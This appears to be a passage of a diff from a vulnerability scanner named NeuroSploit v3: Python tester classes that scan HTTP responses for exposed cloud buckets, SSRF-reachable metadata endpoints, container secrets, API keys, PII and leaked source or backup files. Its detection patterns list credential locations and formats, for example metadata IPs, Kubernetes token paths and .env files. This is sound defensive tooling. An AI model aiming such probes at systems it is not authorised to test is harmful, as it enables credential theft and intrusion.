if "<Contents>" in response_body and "<Key>" in response_body:
|
||||
keys = re.findall(r"<Key>([^<]+)</Key>", response_body)
|
||||
if keys:
|
||||
return True, 0.95, f"S3 bucket listing: {len(keys)} objects exposed (e.g., {keys[0][:50]})"
|
||||
|
||||
# NoSuchBucket - potential subdomain takeover
|
||||
if "NoSuchBucket" in response_body:
|
||||
bucket_match = re.search(r"<BucketName>([^<]+)</BucketName>", response_body)
|
||||
bucket_name = bucket_match.group(1) if bucket_match else "unknown"
|
||||
return True, 0.8, f"S3 bucket '{bucket_name}' does not exist - potential takeover"
|
||||
|
||||
# AccessDenied with bucket info
|
||||
if "AccessDenied" in response_body and "s3.amazonaws.com" in response_body:
|
||||
return True, 0.5, "S3 bucket exists but access denied - bucket enumerated"
|
||||
|
||||
# Public write/upload success
|
||||
if response_status in [200, 204] and context.get("is_upload_test"):
|
||||
headers_lower = {k.lower(): v for k, v in response_headers.items()}
|
||||
if "x-amz-request-id" in headers_lower:
|
||||
return True, 0.9, "S3 bucket allows public write access"
|
||||
|
||||
# Bucket policy exposed
|
||||
if '"Statement"' in response_body and '"Effect"' in response_body:
|
||||
if '"s3:' in response_body:
|
||||
return True, 0.85, "S3 bucket policy exposed"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class CloudMetadataExposureTester(BaseTester):
|
||||
"""Tester for Cloud Metadata Exposure vulnerabilities (SSRF to metadata)"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "cloud_metadata_exposure"
|
||||
self.metadata_indicators = {
|
||||
# AWS
|
||||
"aws": [
|
||||
(r"ami-[0-9a-f]{8,17}", "AWS AMI ID"),
|
||||
(r"i-[0-9a-f]{8,17}", "AWS Instance ID"),
|
||||
(r"arn:aws:[a-z0-9-]+:[a-z0-9-]*:\d{12}:", "AWS ARN"),
|
||||
(r"AKIA[0-9A-Z]{16}", "AWS Access Key"),
|
||||
(r"169\.254\.169\.254", "AWS metadata endpoint"),
|
||||
(r"\"(?:AccessKeyId|SecretAccessKey|Token)\"", "AWS IAM credentials"),
|
||||
(r"ec2\.internal", "AWS internal hostname"),
|
||||
(r"\"accountId\"\s*:\s*\"\d{12}\"", "AWS Account ID"),
|
||||
],
|
||||
# GCP
|
||||
"gcp": [
|
||||
(r"projects/\d+/", "GCP Project reference"),
|
||||
(r"metadata\.google\.internal", "GCP metadata endpoint"),
|
||||
(r"\"access_token\"\s*:\s*\"ya29\.", "GCP OAuth token"),
|
||||
(r"compute\.googleapis\.com", "GCP Compute API"),
|
||||
(r"serviceAccounts/[^/]+/token", "GCP service account token"),
|
||||
],
|
||||
# Azure
|
||||
"azure": [
|
||||
(r"metadata\.azure\.com", "Azure metadata endpoint"),
|
||||
(r"(?:subscriptionId|resourceGroupName)\"\s*:\s*\"", "Azure resource info"),
|
||||
(r"\.blob\.core\.windows\.net", "Azure Blob Storage"),
|
||||
(r"\.vault\.azure\.net", "Azure Key Vault"),
|
||||
(r"\"access_token\"\s*:\s*\"eyJ", "Azure JWT token"),
|
||||
],
|
||||
}
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for cloud metadata in response"""
|
||||
findings = []
|
||||
|
||||
for provider, patterns in self.metadata_indicators.items():
|
||||
for pattern, description in patterns:
|
||||
if re.search(pattern, response_body):
|
||||
findings.append(f"{provider.upper()}: {description}")
|
||||
|
||||
if findings:
|
||||
# IAM credentials or tokens are critical
|
||||
critical = any(k in f for f in findings for k in ["credentials", "Access Key", "token", "Token"])
|
||||
confidence = 0.95 if critical else 0.8
|
||||
return True, confidence, f"Cloud metadata exposure: {', '.join(findings[:3])}"
|
||||
|
||||
# Check for metadata endpoint access (SSRF to cloud metadata)
|
||||
metadata_urls = ["169.254.169.254", "metadata.google.internal",
|
||||
"metadata.azure.com", "100.100.100.200"]
|
||||
for url in metadata_urls:
|
||||
if url in payload and response_status == 200 and len(response_body) > 50:
|
||||
return True, 0.85, f"Cloud metadata accessible via SSRF ({url})"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class SubdomainTakeoverTester(BaseTester):
|
||||
"""Tester for Subdomain Takeover vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "subdomain_takeover"
|
||||
self.takeover_fingerprints = [
|
||||
# AWS S3
|
||||
(r"NoSuchBucket", "S3 bucket - NoSuchBucket"),
|
||||
(r"The specified bucket does not exist", "S3 bucket does not exist"),
|
||||
# GitHub Pages
|
||||
(r"There isn't a GitHub Pages site here", "GitHub Pages - unclaimed"),
|
||||
(r"For root URLs.*GitHub Pages", "GitHub Pages not configured"),
|
||||
# Heroku
|
||||
(r"No such app", "Heroku - app not found"),
|
||||
(r"herokucdn\.com/error-pages/no-such-app", "Heroku - no such app"),
|
||||
# Shopify
|
||||
(r"Sorry, this shop is currently unavailable", "Shopify - shop unavailable"),
|
||||
# Tumblr
|
||||
(r"There's nothing here\.", "Tumblr - unclaimed"),
|
||||
(r"Whatever you were looking for doesn't currently exist", "Tumblr not found"),
|
||||
# WordPress.com
|
||||
(r"Do you want to register.*wordpress\.com", "WordPress.com - unclaimed"),
|
||||
# Azure
|
||||
(r"404 Web Site not found", "Azure - web app not found"),
|
||||
# Fastly
|
||||
(r"Fastly error: unknown domain", "Fastly - unknown domain"),
|
||||
# Pantheon
|
||||
(r"404 error unknown site", "Pantheon - unknown site"),
|
||||
# Zendesk
|
||||
(r"Help Center Closed", "Zendesk - closed"),
|
||||
# Unbounce
|
||||
(r"The requested URL was not found on this server.*unbounce", "Unbounce - not found"),
|
||||
# Surge.sh
|
||||
(r"project not found", "Surge.sh - not found"),
|
||||
# Fly.io
|
||||
(r"404.*fly\.io", "Fly.io - not found"),
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for cloud provider error pages indicating takeover opportunity"""
|
||||
for pattern, description in self.takeover_fingerprints:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.9, f"Subdomain takeover: {description}"
|
||||
|
||||
# CNAME pointing to unclaimed resource
|
||||
if context.get("cname_target"):
|
||||
cname = context["cname_target"]
|
||||
unclaimed_domains = [
|
||||
".s3.amazonaws.com", ".herokuapp.com", ".github.io",
|
||||
".azurewebsites.net", ".cloudfront.net", ".fastly.net",
|
||||
".ghost.io", ".myshopify.com", ".surge.sh",
|
||||
]
|
||||
for domain in unclaimed_domains:
|
||||
if cname.endswith(domain) and response_status in [404, 0]:
|
||||
return True, 0.85, f"Subdomain takeover: CNAME to {cname} returns {response_status}"
|
||||
|
||||
# NXDOMAIN with CNAME
|
||||
if context.get("dns_nxdomain") and context.get("has_cname"):
|
||||
return True, 0.8, "Subdomain takeover: CNAME exists but target domain is NXDOMAIN"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class VulnerableDependencyTester(BaseTester):
|
||||
"""Tester for Vulnerable Dependency detection"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "vulnerable_dependency"
|
||||
self.vulnerable_libs = [
|
||||
# JavaScript
|
||||
(r"jquery[/.-](?:1\.\d+|2\.\d+|3\.[0-4]\.\d+)", "jQuery < 3.5.0 (XSS)"),
|
||||
(r"angular[/.-]1\.[0-5]\.\d+", "AngularJS < 1.6 (sandbox escape)"),
|
||||
(r"lodash[/.-](?:[0-3]\.\d+|4\.(?:1[0-6]|[0-9])\.\d+)", "Lodash < 4.17.21 (prototype pollution)"),
|
||||
(r"bootstrap[/.-](?:[1-3]\.\d+|4\.[0-3]\.\d+)", "Bootstrap < 4.3.1 (XSS)"),
|
||||
(r"moment[/.-](?:[01]\.\d+|2\.(?:[0-9]|1[0-8])\.\d+)", "Moment.js < 2.19.3 (ReDoS)"),
|
||||
(r"handlebars[/.-](?:[0-3]\.\d+|4\.[0-6]\.\d+)", "Handlebars < 4.7.7 (prototype pollution)"),
|
||||
# Python
|
||||
(r"Django[/=](?:1\.\d+|2\.[01]\.\d+|3\.0\.\d+)", "Django < 3.1 (multiple CVEs)"),
|
||||
(r"Flask[/=](?:0\.\d+|1\.[01]\.\d+)", "Flask < 2.0 (known issues)"),
|
||||
(r"requests[/=]2\.(?:[0-9]|1\d|2[0-4])\.\d+", "Requests < 2.25 (CVE-2023-32681)"),
|
||||
# Java
|
||||
(r"log4j[/-]2\.(?:[0-9]|1[0-4])\.\d+", "Log4j < 2.15 (Log4Shell CVE-2021-44228)"),
|
||||
(r"spring-core[/-](?:[1-4]\.\d+|5\.[0-2]\.\d+)", "Spring < 5.3 (Spring4Shell)"),
|
||||
(r"jackson-databind[/-]2\.(?:[0-8]|9\.[0-9])\.\d*", "Jackson < 2.9.10 (deserialization)"),
|
||||
# PHP
|
||||
(r"laravel/framework[/:]\s*v?(?:[1-7]\.\d+|8\.[0-7]\d)", "Laravel < 8.80 (known issues)"),
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for known vulnerable library version strings"""
|
||||
findings = []
|
||||
|
||||
# Check response body (JS files, package.json, error pages)
|
||||
for pattern, description in self.vulnerable_libs:
|
||||
match = re.search(pattern, response_body, re.IGNORECASE)
|
||||
if match:
|
||||
findings.append(f"{match.group(0)} - {description}")
|
||||
|
||||
# Check headers for version info
|
||||
headers_str = "\n".join(f"{k}: {v}" for k, v in response_headers.items())
|
||||
for pattern, description in self.vulnerable_libs:
|
||||
match = re.search(pattern, headers_str, re.IGNORECASE)
|
||||
if match and description not in str(findings):
|
||||
findings.append(f"{match.group(0)} - {description}")
|
||||
|
||||
if findings:
|
||||
# Log4Shell and Spring4Shell are critical
|
||||
critical = any(k in f for f in findings for k in ["Log4Shell", "Spring4Shell", "deserialization"])
|
||||
confidence = 0.9 if critical else 0.75
|
||||
return True, confidence, f"Vulnerable dependency: {'; '.join(findings[:3])}"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class ContainerEscapeTester(BaseTester):
|
||||
"""Tester for Container Escape / Container Misconfiguration vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "container_escape"
|
||||
self.container_indicators = [
|
||||
# Docker
|
||||
(r"\.dockerenv", "Docker environment file accessible"),
|
||||
(r"docker\.sock", "Docker socket exposed"),
|
||||
(r"/var/run/docker\.sock", "Docker socket path"),
|
||||
# Cgroup
|
||||
(r"docker[/-][0-9a-f]{12,64}", "Docker container cgroup"),
|
||||
(r"/proc/self/cgroup.*docker", "Docker cgroup detected"),
|
||||
(r"/proc/self/cgroup.*kubepods", "Kubernetes pod cgroup"),
|
||||
# Kubernetes
|
||||
(r"KUBERNETES_SERVICE_HOST", "Kubernetes service host env"),
|
||||
(r"KUBERNETES_PORT", "Kubernetes port env"),
|
||||
(r"/var/run/secrets/kubernetes\.io", "Kubernetes secrets path"),
|
||||
(r"serviceaccount/token", "Kubernetes service account token"),
|
||||
(r"kube-system", "Kubernetes system namespace"),
|
||||
# Container runtime
|
||||
(r"containerd", "containerd runtime"),
|
||||
(r"runc", "runc runtime"),
|
||||
# Process namespace
|
||||
(r"process\s+1\b.*(?:init|systemd|tini|dumb-init)", "Container init process"),
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for Docker/container indicators in response"""
|
||||
findings = []
|
||||
|
||||
for pattern, description in self.container_indicators:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
findings.append(description)
|
||||
|
||||
if findings:
|
||||
# Docker socket or K8s secrets are critical
|
||||
critical = any(k in f for f in findings for k in ["socket", "secrets", "token"])
|
||||
confidence = 0.9 if critical else 0.7
|
||||
return True, confidence, f"Container exposure: {', '.join(findings[:3])}"
|
||||
|
||||
# Privileged container detection
|
||||
if context.get("is_capability_check"):
|
||||
# Check for extra capabilities
|
||||
cap_patterns = [
|
||||
r"cap_sys_admin", r"cap_sys_ptrace", r"cap_net_admin",
|
||||
r"cap_dac_override", r"cap_sys_rawio",
|
||||
]
|
||||
for pattern in cap_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.8, f"Privileged container: {pattern} capability detected"
|
||||
|
||||
# Mount namespace check
|
||||
if re.search(r"/dev/(?:sda|xvda|nvme)\d*\s", response_body):
|
||||
return True, 0.6, "Host block devices visible from container"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class ServerlessMisconfigTester(BaseTester):
|
||||
"""Tester for Serverless Misconfiguration vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "serverless_misconfig"
|
||||
self.env_patterns = [
|
||||
# AWS Lambda
|
||||
(r"AWS_LAMBDA_FUNCTION_NAME\s*[=:]\s*(\S+)", "Lambda function name"),
|
||||
(r"AWS_SECRET_ACCESS_KEY\s*[=:]\s*(\S+)", "Lambda AWS secret key"),
|
||||
(r"AWS_SESSION_TOKEN\s*[=:]\s*(\S+)", "Lambda session token"),
|
||||
(r"AWS_LAMBDA_LOG_GROUP_NAME", "Lambda log group"),
|
||||
(r"_HANDLER\s*[=:]\s*(\S+)", "Lambda handler path"),
|
||||
(r"LAMBDA_TASK_ROOT\s*[=:]\s*(\S+)", "Lambda task root"),
|
||||
(r"AWS_EXECUTION_ENV\s*[=:]\s*(\S+)", "Lambda execution environment"),
|
||||
# Google Cloud Functions
|
||||
(r"FUNCTION_NAME\s*[=:]\s*(\S+)", "Cloud Function name"),
|
||||
(r"GCLOUD_PROJECT\s*[=:]\s*(\S+)", "GCP project ID"),
|
||||
(r"GOOGLE_CLOUD_PROJECT\s*[=:]\s*(\S+)", "GCP project"),
|
||||
(r"GCP_PROJECT\s*[=:]\s*(\S+)", "GCP project"),
|
||||
(r"FUNCTION_REGION\s*[=:]\s*(\S+)", "Cloud Function region"),
|
||||
# Azure Functions
|
||||
(r"FUNCTIONS_WORKER_RUNTIME\s*[=:]\s*(\S+)", "Azure Function runtime"),
|
||||
(r"AzureWebJobsStorage\s*[=:]\s*(\S+)", "Azure storage connection string"),
|
||||
(r"WEBSITE_SITE_NAME\s*[=:]\s*(\S+)", "Azure site name"),
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for serverless environment variable exposure"""
|
||||
findings = []
|
||||
|
||||
for pattern, description in self.env_patterns:
|
||||
match = re.search(pattern, response_body)
|
||||
if match:
|
||||
value = match.group(1) if match.lastindex else ""
|
||||
# Redact sensitive values
|
||||
if "key" in description.lower() or "token" in description.lower() or "secret" in description.lower():
|
||||
display = f"{description} (REDACTED)"
|
||||
else:
|
||||
display = f"{description}: {value[:30]}"
|
||||
findings.append(display)
|
||||
|
||||
if findings:
|
||||
# Credentials are critical
|
||||
critical = any(k in f for f in findings for k in ["secret", "token", "REDACTED"])
|
||||
confidence = 0.95 if critical else 0.75
|
||||
return True, confidence, f"Serverless misconfiguration: {', '.join(findings[:3])}"
|
||||
|
||||
# Function source code exposure
|
||||
if context.get("is_source_request"):
|
||||
source_indicators = [
|
||||
r"exports\.handler\s*=", r"def lambda_handler\(",
|
||||
r"def main\(req:", r"module\.exports",
|
||||
r"def hello_http\(request\):",
|
||||
]
|
||||
for pattern in source_indicators:
|
||||
if re.search(pattern, response_body):
|
||||
return True, 0.8, "Serverless misconfiguration: function source code exposed"
|
||||
|
||||
# Invocation error details
|
||||
error_patterns = [
|
||||
r"\"errorType\"\s*:\s*\"(\w+)\"",
|
||||
r"\"stackTrace\"\s*:\s*\[",
|
||||
r"Runtime\.HandlerNotFound",
|
||||
r"\"errorMessage\"\s*:\s*\".*(?:import|require|module)",
|
||||
]
|
||||
for pattern in error_patterns:
|
||||
match = re.search(pattern, response_body)
|
||||
if match:
|
||||
return True, 0.7, f"Serverless misconfiguration: detailed error exposed ({match.group(0)[:60]})"
|
||||
|
||||
return False, 0.0, None
|
||||
@@ -0,0 +1,388 @@
|
||||
"""
|
||||
NeuroSploit v3 - Data Exposure Vulnerability Testers
|
||||
|
||||
Testers for sensitive data exposure, information disclosure, API key exposure,
|
||||
source code disclosure, backup file exposure, and version disclosure.
|
||||
"""
|
||||
import re
|
||||
from typing import Tuple, Dict, Optional
|
||||
from backend.core.vuln_engine.testers.base_tester import BaseTester
|
||||
|
||||
|
||||
class SensitiveDataExposureTester(BaseTester):
|
||||
"""Tester for Sensitive Data Exposure (PII leakage)"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "sensitive_data_exposure"
|
||||
self.pii_patterns = [
|
||||
# SSN (US)
|
||||
(r"\b\d{3}-\d{2}-\d{4}\b", "SSN pattern"),
|
||||
# Credit card numbers (Visa, MC, Amex, Discover)
|
||||
(r"\b4\d{3}[\s-]?\d{4}[\s-]?\d{4}[\s-]?\d{4}\b", "Visa card number"),
|
||||
(r"\b5[1-5]\d{2}[\s-]?\d{4}[\s-]?\d{4}[\s-]?\d{4}\b", "MasterCard number"),
|
||||
(r"\b3[47]\d{2}[\s-]?\d{6}[\s-]?\d{5}\b", "Amex card number"),
|
||||
(r"\b6(?:011|5\d{2})[\s-]?\d{4}[\s-]?\d{4}[\s-]?\d{4}\b", "Discover card number"),
|
||||
# Email addresses in bulk (10+ suggests a data leak)
|
||||
(r"[\w.+-]+@[\w-]+\.[\w.-]+", "email address"),
|
||||
# Phone numbers (US format)
|
||||
(r"\b\(?\d{3}\)?[\s.-]?\d{3}[\s.-]?\d{4}\b", "phone number"),
|
||||
# Passport numbers
|
||||
(r"\b[A-Z]\d{8}\b", "passport number pattern"),
|
||||
# Private keys
|
||||
(r"-----BEGIN (?:RSA |EC |DSA )?PRIVATE KEY-----", "private key"),
|
||||
# Password hashes
|
||||
(r"\$2[aby]?\$\d{1,2}\$[./A-Za-z0-9]{53}", "bcrypt hash"),
|
||||
(r"\b[a-f0-9]{32}\b", "MD5 hash"),
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for PII patterns in response"""
|
||||
if response_status >= 400:
|
||||
return False, 0.0, None
|
||||
|
||||
findings = []
|
||||
|
||||
for pattern, description in self.pii_patterns:
|
||||
matches = re.findall(pattern, response_body)
|
||||
if matches:
|
||||
# Private keys and password hashes are always significant
|
||||
if "private key" in description:
|
||||
return True, 0.95, f"Sensitive data exposure: {description} found in response"
|
||||
if "bcrypt hash" in description:
|
||||
return True, 0.9, f"Sensitive data exposure: {description} found in response"
|
||||
|
||||
# For patterns like emails, phone numbers - check for bulk exposure
|
||||
if description in ["email address", "phone number"]:
|
||||
if len(matches) >= 5:
|
||||
findings.append(f"{len(matches)} {description}s")
|
||||
elif description == "MD5 hash":
|
||||
if len(matches) >= 3:
|
||||
findings.append(f"{len(matches)} {description}es")
|
||||
else:
|
||||
findings.append(f"{description} ({matches[0][:20]}...)")
|
||||
|
||||
if findings:
|
||||
confidence = min(0.9, 0.6 + 0.1 * len(findings))
|
||||
return True, confidence, f"Sensitive data exposure: {', '.join(findings[:3])}"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class InformationDisclosureTester(BaseTester):
|
||||
"""Tester for Information Disclosure vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "information_disclosure"
|
||||
self.disclosure_patterns = [
|
||||
# Server version headers
|
||||
(r"Server:\s*(.+)", "header", "Server version"),
|
||||
(r"X-Powered-By:\s*(.+)", "header", "Technology stack"),
|
||||
(r"X-AspNet-Version:\s*(.+)", "header", "ASP.NET version"),
|
||||
(r"X-AspNetMvc-Version:\s*(.+)", "header", "ASP.NET MVC version"),
|
||||
]
|
||||
self.body_patterns = [
|
||||
# Path disclosure
|
||||
(r"(?:/var/www|/home/\w+|/srv/|/opt/\w+|C:\\inetpub|C:\\Users\\\w+)[/\\]\S+", "Internal path"),
|
||||
# Stack traces
|
||||
(r"Traceback \(most recent call last\)", "Python stack trace"),
|
||||
(r"at \w+\.\w+\([\w.]+:\d+\)", "Java stack trace"),
|
||||
(r"(?:Fatal error|Warning|Notice):\s+.*\sin\s+/\S+\s+on line \d+", "PHP error with path"),
|
||||
(r"Microsoft \.NET Framework Version:\d+", ".NET framework version"),
|
||||
# Database info
|
||||
(r"(?:MySQL|PostgreSQL|Oracle|MSSQL)\s+\d+\.\d+", "Database version"),
|
||||
# Debug info
|
||||
(r"(?:DEBUG|TRACE)\s*=\s*(?:true|True|1)", "Debug mode enabled"),
|
||||
(r"(?:SECRET_KEY|DB_PASSWORD|API_SECRET)\s*[=:]\s*\S+", "Secret in debug output"),
|
||||
# Internal IPs
|
||||
(r"\b(?:10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(?:1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})\b", "Internal IP address"),
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for information disclosure in headers and body"""
|
||||
findings = []
|
||||
|
||||
# Check headers
|
||||
headers_str = "\n".join(f"{k}: {v}" for k, v in response_headers.items())
|
||||
for pattern, location, description in self.disclosure_patterns:
|
||||
match = re.search(pattern, headers_str, re.IGNORECASE)
|
||||
if match:
|
||||
findings.append(f"{description}: {match.group(1)[:50]}")
|
||||
|
||||
# Check body
|
||||
for pattern, description in self.body_patterns:
|
||||
match = re.search(pattern, response_body, re.IGNORECASE)
|
||||
if match:
|
||||
findings.append(f"{description}: {match.group(0)[:80]}")
|
||||
|
||||
if findings:
|
||||
# Stack traces and secrets are higher severity
|
||||
high_severity = any("stack trace" in f.lower() or "secret" in f.lower() or "debug" in f.lower() for f in findings)
|
||||
confidence = 0.85 if high_severity else 0.7
|
||||
return True, confidence, f"Information disclosure: {'; '.join(findings[:3])}"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class ApiKeyExposureTester(BaseTester):
|
||||
"""Tester for API Key Exposure vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "api_key_exposure"
|
||||
self.key_patterns = [
|
||||
# AWS
|
||||
(r"AKIA[0-9A-Z]{16}", "AWS Access Key"),
|
||||
(r"(?:aws_secret_access_key|AWS_SECRET_ACCESS_KEY)\s*[=:]\s*[A-Za-z0-9/+=]{40}", "AWS Secret Key"),
|
||||
# Google
|
||||
(r"AIza[0-9A-Za-z\-_]{35}", "Google API Key"),
|
||||
(r"ya29\.[0-9A-Za-z\-_]+", "Google OAuth Token"),
|
||||
# Stripe
|
||||
(r"sk_live_[0-9a-zA-Z]{24,}", "Stripe Secret Key"),
|
||||
(r"pk_live_[0-9a-zA-Z]{24,}", "Stripe Publishable Key"),
|
||||
(r"rk_live_[0-9a-zA-Z]{24,}", "Stripe Restricted Key"),
|
||||
# GitHub
|
||||
(r"gh[pousr]_[A-Za-z0-9_]{36,}", "GitHub Token"),
|
||||
# Slack
|
||||
(r"xox[baprs]-[0-9]{10,13}-[0-9]{10,13}[a-zA-Z0-9-]*", "Slack Token"),
|
||||
# Twilio
|
||||
(r"SK[0-9a-fA-F]{32}", "Twilio API Key"),
|
||||
# SendGrid
|
||||
(r"SG\.[a-zA-Z0-9_-]{22}\.[a-zA-Z0-9_-]{43}", "SendGrid API Key"),
|
||||
# Heroku
|
||||
(r"[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}", "Heroku API Key / UUID"),
|
||||
# Generic patterns
|
||||
(r"(?:api[_-]?key|apikey|api[_-]?secret)\s*[=:]\s*['\"]?([A-Za-z0-9_\-]{20,})['\"]?", "Generic API Key"),
|
||||
(r"(?:access[_-]?token|auth[_-]?token)\s*[=:]\s*['\"]?([A-Za-z0-9_\-.]{20,})['\"]?", "Access Token"),
|
||||
# Bearer tokens in JS
|
||||
(r"['\"]Bearer\s+[A-Za-z0-9_\-\.]{20,}['\"]", "Hardcoded Bearer Token"),
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for API key patterns in response"""
|
||||
findings = []
|
||||
|
||||
for pattern, description in self.key_patterns:
|
||||
matches = re.findall(pattern, response_body)
|
||||
if matches:
|
||||
# Skip UUIDs unless in specific context (too many false positives)
|
||||
if "UUID" in description:
|
||||
continue
|
||||
# Redact the actual key in evidence
|
||||
sample = matches[0] if isinstance(matches[0], str) else matches[0]
|
||||
redacted = sample[:8] + "..." + sample[-4:] if len(sample) > 12 else sample[:4] + "..."
|
||||
findings.append(f"{description} ({redacted})")
|
||||
|
||||
if findings:
|
||||
# AWS/Stripe secret keys are critical
|
||||
critical = any(k in f for f in findings for k in ["AWS Secret", "Stripe Secret", "Secret Key"])
|
||||
confidence = 0.95 if critical else 0.85
|
||||
return True, confidence, f"API key exposure: {', '.join(findings[:3])}"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class SourceCodeDisclosureTester(BaseTester):
|
||||
"""Tester for Source Code Disclosure vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "source_code_disclosure"
|
||||
self.source_indicators = [
|
||||
# Git
|
||||
(r"\[core\]\s*\n\s*repositoryformatversion", "Git config exposed"),
|
||||
(r"\[remote \"origin\"\]", "Git config with remote"),
|
||||
(r"ref: refs/heads/", "Git HEAD reference exposed"),
|
||||
# Source maps
|
||||
(r"\"version\"\s*:\s*3,\s*\"sources\"", "JavaScript source map"),
|
||||
(r"//[#@]\s*sourceMappingURL=", "Source map reference"),
|
||||
# PHP source
|
||||
(r"<\?php\s", "PHP source code"),
|
||||
(r"<\?=", "PHP short tag source"),
|
||||
# Python source
|
||||
(r"^(?:import |from \w+ import |def \w+\(|class \w+)", "Python source code"),
|
||||
# Java/JSP
|
||||
(r"<%@?\s*page\s+", "JSP source code"),
|
||||
(r"package\s+\w+\.\w+;", "Java package declaration"),
|
||||
# Environment files
|
||||
(r"(?:DB_PASSWORD|SECRET_KEY|DATABASE_URL)\s*=\s*\S+", "Environment file content"),
|
||||
# Composer/package files with private repos
|
||||
(r"\"require\".*\"private/", "Private package reference"),
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for source code indicators in response"""
|
||||
if response_status >= 400:
|
||||
return False, 0.0, None
|
||||
|
||||
for pattern, description in self.source_indicators:
|
||||
match = re.search(pattern, response_body, re.MULTILINE)
|
||||
if match:
|
||||
# Git config is high confidence
|
||||
if "Git" in description:
|
||||
return True, 0.95, f"Source code disclosure: {description}"
|
||||
# Environment file is critical
|
||||
if "Environment" in description:
|
||||
return True, 0.95, f"Source code disclosure: {description}"
|
||||
# Source maps lower confidence (often intentional)
|
||||
if "source map" in description.lower():
|
||||
return True, 0.6, f"Source code disclosure: {description}"
|
||||
return True, 0.8, f"Source code disclosure: {description}"
|
||||
|
||||
# Check for common source file access patterns
|
||||
source_paths = [".git/config", ".env", ".htaccess", "web.config",
|
||||
"wp-config.php", "config.php", "settings.py"]
|
||||
for path in source_paths:
|
||||
if path in payload and response_status == 200 and len(response_body) > 50:
|
||||
return True, 0.7, f"Source code disclosure: {path} accessible"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class BackupFileExposureTester(BaseTester):
|
||||
"""Tester for Backup File Exposure vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "backup_file_exposure"
|
||||
self.file_signatures = [
|
||||
# SQL dumps
|
||||
(r"-- MySQL dump \d+", "MySQL database dump"),
|
||||
(r"-- PostgreSQL database dump", "PostgreSQL database dump"),
|
||||
(r"CREATE TABLE\s+[`\"]\w+[`\"]", "SQL DDL statements"),
|
||||
(r"INSERT INTO\s+[`\"]\w+[`\"]", "SQL data dump"),
|
||||
# Archive signatures (in text responses)
|
||||
(r"PK\x03\x04", "ZIP archive"),
|
||||
# Tar
|
||||
(r"ustar\s", "TAR archive"),
|
||||
# Config backups
|
||||
(r"<\?xml.*<configuration>", "XML configuration backup"),
|
||||
(r"server\s*\{[^}]*listen\s+\d+", "Nginx config backup"),
|
||||
(r"<VirtualHost\s+", "Apache config backup"),
|
||||
]
|
||||
self.backup_extensions = [
|
||||
".bak", ".backup", ".old", ".orig", ".save",
|
||||
